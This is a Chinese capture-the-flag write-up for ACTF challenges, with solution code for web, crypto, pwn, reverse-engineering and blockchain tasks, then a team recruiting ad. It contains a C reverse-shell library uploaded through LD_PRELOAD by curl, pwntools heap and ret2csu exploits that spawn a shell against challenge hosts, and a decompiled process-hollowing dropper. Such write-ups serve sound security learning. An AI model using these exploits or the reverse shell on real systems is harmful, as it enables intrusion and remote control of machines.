ACTF-WriteUp
Web
gogogo
反弹shell
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
编译so gcc exp.c -fPIC -s -shared -o poc.so
exploit:curl -v -F data=@poc.so -F "LD_PRELOAD=/proc/self/fd/0" http://123.60.84.229:10218/cgi-bin/hello
抓包爆破 proc
Misc
Mahjoong
a = [240,188,218,205,188,154,138,200,207,33,26,246,30,136,124,38,241,178,193,127,163,161,72,140,187,16,19]
b= [177, 255, 142, 139, 199, 227, 202, 163, 186, 76, 91, 152, 65, 185, 15, 121, 152, 220, 162, 13, 198, 197, 36, 191, 215, 117, 110]
for i in range(27):
print(chr(a[i]^b[i]),end='')
signin
import os
for i in range(10000):
t=os.system('zstd --decompress flag -o flag.bak && mv flag.bak flag')
if t!=0:
r=os.system('mv f* flag.bz2 && bunzip2 flag.bz2')
if r!=0:
break
print(i)
#ACTF{r0cK_4Nd_rolL_1n_C0mpr33s1ng_aNd_uNCOmrEs5iNg}
Crypto
impossible RSA
from Crypto.PublicKey import RSA
from decimal import Decimal
import gmpy2
import sympy
f=open('./public.pem','rb')
key =RSA.importKey(f.read())
e=key.key.e
n=key.key.n
a,b,c=(e,-1,-2*n)
for m in range(e):
c=-m*n
t=b*b-4*a*c
g=gmpy2.iroot(b*b-4*a*c,2)
if g[1]:
print(m,g)
m=46280
sympy.solve(f'{m}*x**2 + x - {e*n}')
p=150465840847587996081934790667651610347742504431401795762471467800785876172317705268993152743689967775266712089661128372295606682852482012493939368044600366794969553828079064622047080051569090177885299781981209120854290564064662058027679075401901717932024549311396484660557278975525859127898004619405319768113
q=n//p
phi=(p-1)*(q-1)
from Crypto.Util.number import *
d=inverse(e,phi)
f=open('./flag','rb')
flag=f.read()
flag_1=bytes_to_long(flag)
long_to_bytes(pow(flag_1,d,n))
#ACTF{F1nD1nG_5pEcia1_n_i5_nOt_eA5y}
Pwn
treepwn
# -*- coding: utf-8 -*-
from pwn import *
import os
p=process('./1')
p=remote('121.36.241.104',9999)
#p=process(['./1'],env={'LD_PRELOAD':'./libc-2.27_64.so'})
libc=ELF('/glibc-all-in-one//libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
context.log_level='debug'
def debug():
gdb.attach(p)
pause()
def lg(name,val):
log.success(name+' : '+hex(val))
def menu(i):
p.recvuntil('Your choice > ')
p.sendline(str(i))
def add(x,y,name):
menu(0)
p.recvuntil(': ')
p.sendline(str(x))
p.recvuntil(': ')
p.sendline(str(y))
p.recvuntil(': ')
p.send(name)
def delete(x,y):
menu(1)
p.recvuntil(': ')
p.sendline(str(x))
p.recvuntil(': ')
p.sendline(str(y))
def edit(x,y,name):
menu(2)
p.recvuntil(': ')
p.sendline(str(x))
p.recvuntil(': ')
p.sendline(str(y))
p.recvuntil(': ')
p.send(name)
def show(x,y):
menu(3)
p.recvuntil(': ')
p.sendline(str(x))
p.recvuntil(': ')
p.sendline(str(y))
def q(x1,y1,x2,y2):
menu(4)
p.recvuntil(': ')
p.sendline(str(x1))
p.recvuntil(': ')
p.sendline(str(y1))
p.recvuntil(': ')
p.sendline(str(x2))
p.recvuntil(': ')
p.sendline(str(y2))
p.recvuntil('`')
cmd=p.recvuntil('`',drop=True)
hash=os.popen(cmd).read()
print hash
p.sendline(hash)
for i in range(0x10):
add(i,i,32*chr(i))
delete(1,1)
delete(3,3)
delete(5,5)
delete(4,4)
show(4,4)
p.recvuntil(' name: ')
heap_addr=u64(p.recv(6).ljust(8,'\x00'))-0x3c0
edit(4,4,p64(heap_addr+0x260)*4)
add(0x10,0x10,p64(0x0000000200000003)+p64(0)+p64(heap_addr+0x390)+p64(heap_addr+0x398))
add(1,1,p64(1)+p64(2)+p64(heap_addr+0x390)+p64(0x51))
edit(0x0,0x0,p64(0)+p64(0x390+heap_addr)+p64(heap_addr+0x2c0)+p64(0x0000000500050000))
edit(0,0,p64(0)+p64(0x581)*3)
edit(5,5,p64(0x0000000200000003)+p64(0)+p64(heap_addr+0x390)+p64(heap_addr+0x2d0))
delete(0,0)
edit(5,5,p64(0x0000000200000003)+p64(0)+p64(heap_addr+0x390)+p64(heap_addr+0x2d0))
show(0,0)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
lg('libc',libc.address)
edit(5,5,p64(0x0000000200000003)+p64(0)+p64(heap_addr+0x390)+p64(libc.sym['__free_hook']-8))
edit(0,0,'/bin/sh\x00'+p64(libc.sym['system'])*3)
delete(0,0)
p.interactive()
2048
漏洞点是很明显一个栈溢出,但要求先玩完这个2048
github 找到了一个可以用的 python 脚本 https://github.com/SrinidhiRaghavan/AI-2048-Puzzle
但是利用难点在于交互时脚本对于题目数据的获取,并且由于本题 srand 初始值固定,所以只要执行的操作不变,这 2048 的变化始终是固定的
本题的交互过程中,会把演化的过程一步步展现,这对我们 recv 是非常不利的,为了方便进行数据交互,我选择在本地把那些输出演化过程的 call 全部 nop 掉,这样一来只会输出最终的结果,方便我们进行数据交互,再进行些许的交互格式分析,改写其中的PlayerAI_3.py
,拿到一串可行的 payload
#AIM: PLAYER_AI GETS THE NEXT MOVE FOR THE PLAYER
from BaseAI_3 import BaseAI
from Helper import *
from Minimaxab import *
from Grid_3 import *
import numpy as np
from pwn import *
p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','./1'])
context(arch='aarch64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context.log_level='debug'
#class PlayerAI(BaseAI):
def getMove(grid):
moves = grid.getAvailableMoves()
maxUtility = -np.inf
nextDir = -1
for move in moves:
child = getChild(grid, move)
utility = Decision(grid=child, max=False)
if utility >= maxUtility:
maxUtility = utility
nextDir = move
return nextDir
def show():
for i in range(4):
for j in range(4):
print("%6d " % grid.map[i][j], end="")
print("")
print(0x18*'=')
grid = Grid()
'''
0: "UP",
1: "DOWN",
2: "LEFT",
3: "RIGHT"
'''
idx=0
cmd=''
p.recvuntil('name:')
p.sendline('a')
#p.interactive()
idx=0
while True:
p.recvuntil('Score')
for j in range(4):
p.recvuntil('+------+------+------+------+\n')
print(p.recvline())
#print(p.recvline())
for k in range(4):
p.recvuntil(b'|')
if p.recv(1)!=b'\x20':
p.recvuntil('m')
p.recvuntil('m')
q=p.recvuntil(b' \x1b',drop=True)
while True:
if q[0]==b'\x20':
q=q[1:]
else:
break
#print(p.recvline())
#p.interactive()
#pause()
num=int(q)
if num==2048:
break
grid.map[j][k]=num
else:
grid.map[j][k]=0
a=getMove(grid)
if a==0:
p.sendline('w')
cmd+='w'
elif a==1:
p.sendline('s')
cmd+='s'
elif a==2:
p.sendline('a')
cmd+='a'
else:
p.sendline('d')
cmd+='d'
print(cmd)
show()
'''
sddsdsdsddssssdddsddssddddwsdsdsddssdsdsssdsddddddsssddsddddadssdsdsddddssdddddadsssswssddsdsdssddadddsdddadsdssddsdddswwwdddsddadsdddaasdsddsdsdsddsdsddsdddssdsddsddddwsdsssddsadsdsdddsddsaddwwdsddsssddsdadadsdssasdadswsdaddssssswswdssddssdsdsadwdswwwswdsdsadassddsddddadaddssdasdsdsddsddsssdsdsddddsddddwssdssdswsdssdadadssswddadawwwwwdsdaasdsadsssdsddsdssdddswwwsddssasdwwwswswdddddsdssddddddsdswswswsdsadaasdddaaddsdassdsdasasddwwdddwdsdsddsddwddsadasdssdsswdsdsassddswwdwwswdadddassdsdsddwsddsadsssddsddsddaswasdsdssaddswsswsadsssssassdsdwwsssdsdsdddddsswwdwswsddssddsssssddsdssswssddswsddssddsddsssdswssssssddwddsdwsdswswsddwsdsssdasddadasddadsadsddddswdsasssswswsddsssssdsdwswdswswdsdsswsdsddsssadssdswsaaadsddssdswsswswddsddsdsssdadasdaassdwsdasdaadsdsddsddsadsdssssssddsdadsdsdsaddddsswdasasdddsddsadsdddsddsssdadadsaaddddssdwdddsadwdasddssddsssdsdsdddssaaaaasdsaddddswwdsdasswdwwswdsswsdsdddssswwsddssdwdssdsssssssdadsdadwdssdadddwddsddssdadddddddaadasddsddwdsdadaaaaaaadswds
'''
print(cmd)
最后通过报错得知远程也是 qemu 起的,所以 ret2csu 随便 puts 点东西,拿到 libc 基址,往一开始的 name 里面写入 system 的地址以及 cat flag 字符串,再次 ret2csu 即可
# -*- coding: utf-8 -*-
from pwn import *
#p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','-g','1234','./1'])
#p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','./1'])
p=remote('124.70.166.38',9999)
elf=ELF('./1')
#p=process(['./1'],env={'LD_PRELOAD':'./libc-2.27_64.so'})
#libc=ELF('/glibc/2.23/64/lib/libc-2.23.so')
context(arch='aarch64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context.log_level='debug'
def debug():
gdb.attach(p)
pause()
def lg(name,val):
log.success(name+' : '+hex(val))
csu1_addr=0x4020D8
csu2_addr=0x4020B8
p.recvuntil('`')
cmd=p.recvuntil('`',drop=True)
hash=os.popen(cmd).read()
print hash
p.sendline(hash)
libc=ELF('libc-2.31.so')
libc.address=0x4000835000
csu1_addr=0x04020D8
csu2_addr=0x04020B8
def ret2csu(func_addr, arg0, arg1, arg2):
payload = p64(csu1_addr)
payload += p64(0x04020D8) #x29
payload += p64(csu2_addr) #30
payload += p64(0) # x19
payload += p64(1) # x20
payload += p64(func_addr) # x21
payload += p64(arg0) # x22 (x0)
payload += p64(arg1) # x23 (x1)
payload += p64(arg2) # x24 (x2)
return payload
p.recvuntil('name:')
p.send(p64(libc.sym['system'])+'cat flag')
sleep(1)
#p.interactive()
p.send('sddsdsdsddssssdddsddssddddwsdsdsddssdsdsssdsddddddsssddsddddadssdsdsddddssdddddadsssswssddsdsdssddadddsdddadsdssddsdddswwwdddsddadsdddaasdsddsdsdsddsdsddsdddssdsddsddddwsdsssddsadsdsdddsddsaddwwdsddsssddsdadadsdssasdadswsdaddssssswswdssddssdsdsadwdswwwswdsdsadassddsddddadaddssdasdsdsddsddsssdsdsddddsddddwssdssdswsdssdadadssswddadawwwwwdsdaasdsadsssdsddsdssdddswwwsddssasdwwwswswdddddsdssddddddsdswswswsdsadaasdddaaddsdassdsdasasddwwdddwdsdsddsddwddsadasdssdsswdsdsassddswwdwwswdadddassdsdsddwsddsadsssddsddsddaswasdsdssaddswsswsadsssssassdsdwwsssdsdsdddddsswwdwswsddssddsssssddsdssswssddswsddssddsddsssdswssssssddwddsdwsdswswsddwsdsssdasddadasddadsadsddddswdsasssswswsddsssssdsdwswdswswdsdsswsdsddsssadssdswsaaadsddssdswsswswddsddsdsssdadasdaassdwsdasdaadsdsddsddsadsdssssssddsdadsdsdsaddddsswdasasdddsddsadsdddsddsssdadadsaaddddssdwdddsadwdasddssddsssdsdsdddssaaaaasdsaddddswwdsdasswdwwswdsswsdsdddssswwsddssdwdssdsssssssdadsdadwdssdadddwddsddssdadddddddaadasddsddwdsdadaaaaaaadswds')
p.recvuntil('[y/n]: ')
payload=40*'a'
payload+=ret2csu(0x413154,0x413154+8,0,0)
#payload+=ret2csu(0x413150,libc.search('/bin/sh').next(),0,0,0)
print hex(libc.address)
p.send(payload)
p.recvuntil('Bye~\n')
#addr=u64(p.recv(4).ljust(8,'\x00'))
#print hex(addr)
p.interactive()
Reverse
dropper
首先就来了一大堆初始化函数
FARPROC sub_140018860()
{
//..
sub_140011816((__int64)&unk_140035100);
v24 = (const CHAR *)decrypt_string(&unk_14002A000, 13i64);
kernel32_dll = LoadLibraryA(v24);
v1 = (const CHAR *)decrypt_string(&unk_14002A278, 13i64);
ResumeThread = (__int64)GetProcAddress(kernel32_dll, v1);
v2 = (const CHAR *)decrypt_string(&unk_14002A2B0, 19i64);
GetModuleFileNameW = (__int64)GetProcAddress(kernel32_dll, v2);
v3 = (const CHAR *)decrypt_string(&unk_14002A300, 17i64);
GetThreadContext = (__int64)GetProcAddress(kernel32_dll, v3);
v4 = (const CHAR *)decrypt_string(&unk_14002A350, 17i64);
SetThreadContext = (__int64)GetProcAddress(kernel32_dll, v4);
v5 = (const CHAR *)decrypt_string(&unk_14002A3A0, 18i64);
ReadProcessMemory = (__int64)GetProcAddress(kernel32_dll, v5);
v6 = (const CHAR *)decrypt_string(&unk_14002A3F0, 19i64);
WriteProcessMemory = (__int64)GetProcAddress(kernel32_dll, v6);
v7 = (const CHAR *)decrypt_string(&unk_14002A440, 13i64);
VirtualAlloc = (__int64)GetProcAddress(kernel32_dll, v7);
v8 = (const CHAR *)decrypt_string(&unk_14002A478, 15i64);
VirtualAllocEx = (__int64)GetProcAddress(kernel32_dll, v8);
v9 = (const CHAR *)decrypt_string(&unk_14002A070, 14i64);
FindResourceW = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))GetProcAddress(kernel32_dll, v9);
v10 = (const CHAR *)decrypt_string(&unk_14002A0A8, 13i64);
LoadResource = (__int64 (__fastcall *)(_QWORD, _QWORD))GetProcAddress(kernel32_dll, v10);
v11 = (const CHAR *)decrypt_string(&unk_14002A0E0, 13i64);
LockResource = (__int64 (__fastcall *)(_QWORD))GetProcAddress(kernel32_dll, v11);
v12 = (const CHAR *)decrypt_string(&unk_14002A118, 15i64);
SizeofResource = (__int64 (__fastcall *)(_QWORD, _QWORD))GetProcAddress(kernel32_dll, v12);
v13 = (const CHAR *)decrypt_string(&unk_14002A158, 15i64);
GetProcessW = (__int64)GetProcAddress(kernel32_dll, v13);
v14 = (const CHAR *)decrypt_string(&unk_14002A4C0, 17i64);
TerminateProcess_0 = (__int64)GetProcAddress(kernel32_dll, v14);
v15 = (const CHAR *)decrypt_string(&unk_14002A038, 13i64);
msvcr100_dll = LoadLibraryA(v15);
v16 = (const CHAR *)decrypt_string(&unk_14002A198, 7i64);
malloc_0 = (__int64)GetProcAddress(msvcr100_dll, v16);
v17 = (const CHAR *)decrypt_string(&unk_14002A1B8, 6i64);
srand = (__int64)GetProcAddress(msvcr100_dll, v17);
v18 = (const CHAR *)decrypt_string(&unk_14002A1D0, 8i64);
time64 = (__int64)GetProcAddress(msvcr100_dll, v18);
v19 = (const CHAR *)decrypt_string(&unk_14002A1F0, 5i64);
rand = (__int64)GetProcAddress(msvcr100_dll, v19);
v20 = (const CHAR *)decrypt_string(&unk_14002A208, 6i64);
fopen = (__int64)GetProcAddress(msvcr100_dll, v20);
v21 = (const CHAR *)decrypt_string(&unk_14002A220, 8i64);
fprintf = (__int64)GetProcAddress(msvcr100_dll, v21);
v22 = (const CHAR *)decrypt_string(&unk_14002A240, 7i64);
fclose = (__int64)GetProcAddress(msvcr100_dll, v22);
v23 = (const CHAR *)decrypt_string(&unk_14002A260, 5i64);
result = GetProcAddress(msvcr100_dll, v23);
free_0 = (__int64)result;
return result;
}
虚拟机中调试不了,实体机中调试到了,直接标注符号
尝试下断点 dump 内存,断点无法断下,读一下函数
sub_7FF7B6C61816((__int64)&unk_7FF7B6C85100);
init_dll_funcs();
ModuleHandleW = GetModuleHandleW(0i64);
ResourceW = FindResourceW(ModuleHandleW, 101i64, 256i64);
Resource = LoadResource(ModuleHandleW, ResourceW);
resoruce[0] = LockResource(Resource);
sizeof_resource = SizeofResource(ModuleHandleW, ResourceW);
resoruce[0] = decrypt_resource(resoruce[0], sizeof_resource);
ExitCode[0] = 0;
j_memset(hHandle, 0, 0x18ui64);
j_memset(v15, 0, 0x68ui64);
LOWORD(v16[0]) = 0;
if ( !(unsigned int)sub_7FF7B6C615C3(hHandle, (__int64)v15, resoruce[0], v16, 2ui64) )
进入 15C3 之后
sub_7FF7B6C61816((__int64)&unk_7FF7B6C85100);
if ( (unsigned int)GetModuleFileNameW(0i64, String, 520i64) )
{
j_memset(v13, 0, 0x1208ui64);
v14 = wcslen(String);
j_memcpy(v13, String, 2 * v14);
v13[v14] = 32;
j_memcpy(&v13[v14 + 1], a4, Size);
v15 = resource;
v16 = *(int *)(resource + 60) + resource;
if ( (unsigned int)GetProcessW(0i64, v13, 0i64, 0i64, 1, 4, 0i64, 0i64, a2, a1) )
{
j_memset(v17, 0, 0x4D0ui64);
LODWORD(v17[6]) = 1048587;
if ( (unsigned int)GetThreadContext(a1[1], v17) )
{
v18[0] = VirtualAllocEx(*a1, *(_QWORD *)(v16 + 48), *(unsigned int *)(v16 + 80), 12288i64, 64);
if ( v18[0] )
{
if ( (unsigned int)WriteProcessMemory(*a1, v18[0], resource, *(unsigned int *)(v16 + 84), 0i64) )
{
for ( j = 0i64; j < *(unsigned __int16 *)(v16 + 6); ++j )
{
v20 = (unsigned int *)(*(int *)(v15 + 60) + resource + 40 * j + 264);
if ( !(unsigned int)WriteProcessMemory(*a1, v20[3] + v18[0], v20[5] + resource, v20[4], 0i64) )
{
TerminateProcess_0(*a1, 4294967289i64);
v7 = 4294967289i64;
goto LABEL_26;
}
}
if ( (unsigned int)WriteProcessMemory(*a1, v17[17] + 16, v18, 8i64, 0i64) )
{
v17[16] = *(unsigned int *)(v16 + 40) + v18[0];
if ( (unsigned int)SetThreadContext(a1[1], v17) )
{
if ( (unsigned int)ResumeThread(a1[1]) )
实际上写入了一些东西,并且无法调试。但是根据上面的代码知道这个程序读取了一个资源文件并且解密,解密就是异或 0x73,所以用 ResourceHacker 把资源文件 dump 下来并解密,根据文件头知道是个可执行程序
然后进行一个分析,读了半天(物理)才知道有一堆大整数操作库,即下面这样
sub_7FF714B617EE(byte_7FF714B860F2);
tmp = (BigI *)decrypt_string((__int64)v20, (__int64)&unk_7FF714B7E168, 5);
v35 = (__int64 *)tmp;
output(std::cout, (__int64)tmp);
maybe_free(v20);
sub_7FF714B617DF((__int64)input);
read_str(std::cin, (__int64)input);
tmp = (BigI *)j_strLen((__int64)input);
input2 = get_cstr((__int64)input);
input_b64 = b64_encode(input2, (unsigned int)tmp);
merge((__int64)input, input_b64);
v22 = v21;
tmp = (BigI *)strcpy(v21, (const char *)input);
str2bigI((char *)&Source, (__int64 *)tmp->nums);
v24 = malloc_0(0x7E0ui64);
然后分析一下大整数数据结构,前 500 个 int 都是数据区域,最大值为 10000,第 501 个是长度
另外要注意,字符串转大整数时利用的是 128 而不是 256
char *__fastcall sub_7FF714B6BC50(char *a1, __int64 *a2)
{
//...
for ( v11[0] = 0; ; ++v11[0] )
{
v17 = v11[0];
v4 = j_strLen((__int64)a2);
if ( v17 >= v4 )
break;
int2bigI((__int64)&v12, 128i64); // 这里是128
j_bigIpow((__int64)&v12, (__int64)&v13, (__int64)v11);
CharAt = (char *)strGetCharAt((__int64)a2, v11[0]);
int2bigI((__int64)&v14, (unsigned int)*CharAt);
j_bigImul(&v14, &v15, &v13);
v6 = (int *)j_bigIadd((__int64)Source, (__int64)v16, (__int64)&v15);
j_bigIcopy(Source, v6);
}
j_intcpy(a1, Source);
return a1;
}
最后加密逻辑就在这个函数里面
// (**v17)(v17, (__int64 *)tmp->nums);
__int64 __fastcall encrypt(__int64 key, BigI *input)
{
//...
j_intcpy((char *)Destination, (const char *)input);
v14 = (int *)j_bigIadd((__int64)Destination, (__int64)v48, (__int64)v27);
j_bigIcopy(Destination, v14);
v15 = (int *)j_bigImul((BigI *)Destination, (BigI *)v49, (BigI *)v28);
j_bigIcopy(Destination, v15);
v16 = (int *)j_bigIsubabs((__int64)Destination, (__int64)v50, (__int64)v29);
j_bigIcopy(Destination, v16);
v17 = (int *)j_bigIadd((__int64)Destination, (__int64)v51, (__int64)v30);
j_bigIcopy(Destination, v17);
v18 = (int *)j_bigImul((BigI *)Destination, (BigI *)v52, (BigI *)v31);
j_bigIcopy(Destination, v18);
v19 = (int *)j_bigIsubabs((__int64)Destination, (__int64)v53, (__int64)v32);
j_bigIcopy(Destination, v19);
v20 = (int *)j_bigIadd((__int64)Destination, (__int64)v54, (__int64)v33);
j_bigIcopy(Destination, v20);
v21 = (int *)j_bigIsubabs((__int64)Destination, (__int64)v55, (__int64)v34);
j_bigIcopy(Destination, v21);
v22 = (int *)j_bigIadd((__int64)Destination, (__int64)v56, (__int64)v35);
j_bigIcopy(Destination, v22);
v23 = (int *)j_bigIsubabs((__int64)Destination, (__int64)v57, (__int64)v36);
j_bigIcopy(Destination, v23);
j_bigIcopy(input, Destination);
return check_overflow((__int64)v25, (__int64)&unk_7FF714B78F30);
}
调试一下对应的操作数就可以
总体流程就是先 base64 编码,然后调用 encrypt 加密。
解密脚本如下:
def b2bigI(a):
s=0
p=1
for i in a:
s+=i*p
p*=128
return s
def bigI2I(a):
s=0
p=1
for i in a:
s+=p*i
p*=10000
return s
def i2str(a):
s=[]
p=1
while a>=128:
s.append(a%128)
a//=128
s.append(a)
return bytes(s)
targ=[8433, 7593, 342, 2871, 1984, 1642, 9440, 3394, 8311, 2028, 7079, 8305, 248, 657, 986, 5500, 7924, 9497, 3109, 8290, 8787, 1600, 2271, 7732, 8512, 3986, 923, 4719, 9219, 3685, 496, 6248, 365, 1718, 8724, 5635, 6437, 5806, 4816, 6193, 396, 3063, 3735, 206, 1564, 912, 6633, 8869, 5633, 6686, 5073, 3516, 4477, 8799, 8818, 123, 9190, 1695, 723, 7151, 998, 6100, 8836, 952, 593, 5702, 374, 2078, 9411, 7813, 4247, 4708, 2612, 6715, 4071, 9894, 8003, 6194, 8622, 572, 1218, 9605, 6119, 5597, 9744, 7046, 3370, 1814, 7205, 8345, ]
# print(hex(targ[0]))
t=bigI2I(targ)
v27=bigI2I([9388, 278, 1268, 2916, 7619, 6986, 434, 8142, 3713, 9643, 347, 9517, 684, 3959, 8949, 6627, 7251, 2918, 4540, 6458])
v28=bigI2I([3526, 2132, 5621, 9575, 2298, 3616, 2055, 4103, 6348, 7812, 7953, 5076, 1898, 5217, 2831, 8048, 6973, 4104, 3410, 1178])
v29=bigI2I([6793, 3650, 250, 4109, 5341, 7164, 9947, 6850, 7328, 1517, 2100, 5823, 1796, 8109, 9725, 4418, 7918, 7776, 851, 5544])
v30=bigI2I([3607, 1798, 3103, 361, 8776, 2045, 5992, 8020, 5492, 9304, 884, 7531, 2328, 3791, 8477, 7574, 7147, 5891, 7047, 1786])
v31=bigI2I([2787, 1695, 495, 7189, 4984, 8401, 8477, 8821, 1524, 9333, 3347, 2287, 3600, 1748, 8538, 1238, 8239, 7065, 7302, 753])
v32=bigI2I([1664, 212, 1655, 7713, 8717, 2355, 2419, 6471, 3425, 9343, 7457, 8098, 5638, 1968, 6185, 5824, 9929, 9356, 3226, 8079])
v33=bigI2I([9599, 857, 6193, 8631, 2984, 4037, 2980, 9442, 4673, 3411, 3202, 4672, 8769, 4438, 4458, 1523, 8917, 2266, 5283, 1438])
v34=bigI2I([5749, 2729, 3467, 3377, 5922, 1736, 5403, 6104, 8175, 5668, 8967, 3257, 1340, 560, 7850, 8145, 4013, 7728, 9029, 5507])
v35=bigI2I([465, 1390, 2723, 8764, 2468, 1737, 274, 6519, 9490, 2912, 2074, 3846, 4905, 4522, 9220, 3671, 286, 4572, 9332, 7111])
v36=bigI2I([8894, 7959, 1416, 7040, 5241, 5871, 2250, 3438, 5007, 4180, 8698, 258, 5030, 405, 721, 9620, 4969, 9524, 5573, 5770])
t=t+v36
t=t-v35
t=t+v34
t=t-v33
t=t+v32
t=t//v31
t=t-v30
t=t+v29
t=t//v28
t=t-v27
print(i2str(t))
ACTF{dr0pp3r_1s_v3ry_int3r3st1ng_1d7a90a63039831c7fcaa53b766d5b2d!!!!!}
Blockchain
bet2loss
猜数游戏,但是不让用合约账户猜,也不允许在一个区块里猜完,一共有二十次机会,这里我们用 web3py 操作外部账户去猜好了。
经测试,diffcult 固定为 2,nonce 可以去题目合约获取,timestamp 每个区块增加三十。显然他是线性的,可以去测,web3 可以调用 block_number,然后 timestamp 可以看看合约里的 lasttime 获取,然后pretime = (nowbloc-startbloc)*30
然后可能会计算失误(延迟啥的,或者 +1/-1 的细节,不管了),那就多给一个 offset 就好了,那么就有pretime = (nowbloc-startbloc)*30 + offset
第一次猜错了,比较一下 pretime 和 lasttime 就能确定 offset 了,然后后面都能对了。钱也是够的。
from Crypto.Util.number import *
from web3 import Web3,HTTPProvider
from eth_abi.packed import encode_abi_packed
from eth_abi import encode_abi
import time
def deploy(rawTx):
signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey)
hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
receipt = web3.eth.waitForTransactionReceipt(hashTx)
return receipt
def int2bytes32(a):
return long_to_bytes(a).rjust(32,b'\x00')
web3=Web3(HTTPProvider("http://123.60.36.208:8545"))
acct= web3.eth.account.from_key('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
target="0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7"
airdrop = {
'from': acct.address,
'to': target,
'nonce': web3.eth.getTransactionCount(acct.address),
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 555555,
'value': web3.toWei(0, 'ether'),
'data': "0x3884d635",
"chainId": 6666
}
print("airdrop")
info=deploy(airdrop)
if info['status']==1:
print("airdrop done")
else:
print("sth error")
FLAG=True
offset=0
for i in range(0,20):
print(i)
nonce=bytes_to_long(web3.eth.getStorageAt(target,2))
diffcult=2
now_block=web3.eth.block_number
start_block=1485
start_time=1656158960
pre_time=(now_block-start_block)*30+start_time+offset #always 1230 due to init value
guess_num=bytes_to_long(Web3.keccak(encode_abi_packed(['uint256','uint','uint','address'],[nonce,pre_time,diffcult,acct.address])))%12
data_bet='0x6ffcc719'+hex(guess_num)[2:].rjust(64,'0')+'000000000000000000000000000000000000000000000000000000000000000c'
bet = {
'from': acct.address,
'nonce': web3.eth.getTransactionCount(acct.address),
'to': target,
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 555555,
'value': web3.toWei(0, 'ether'),
'data': data_bet,
"chainId": 6666
}
info=deploy(bet)
if info['status']==1:
print("bet done",i)
else:
print("sth error")
nowtime=bytes_to_long(web3.eth.getStorageAt(target,4))
if FLAG:
offset = nowtime-pre_time
FLAG = False
print(web3.eth.block_number,pre_time,nowtime,nowtime-pre_time)
time.sleep(30)
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 共绘亚太下一个“黄金三十年” 7982207
- 2 山里藏价值6000亿元黄金?村民发声 7994382
- 3 微信或史诗级“瘦身” 内存有救了 7898523
- 4 中国主张成为G20峰会的一抹亮色 7734048
- 5 朝鲜将军队提升至战斗准备状态 7610224
- 6 男生解锁“滑步下泰山”技能 7559090
- 7 女教师被指出轨学生 校方通报 7410130
- 8 带96岁母亲酒店养老遭拉黑 男子发声 7380150
- 9 《小巷人家》全员告别 7296271
- 10 千年古镇“因网而变、因数而兴” 7193076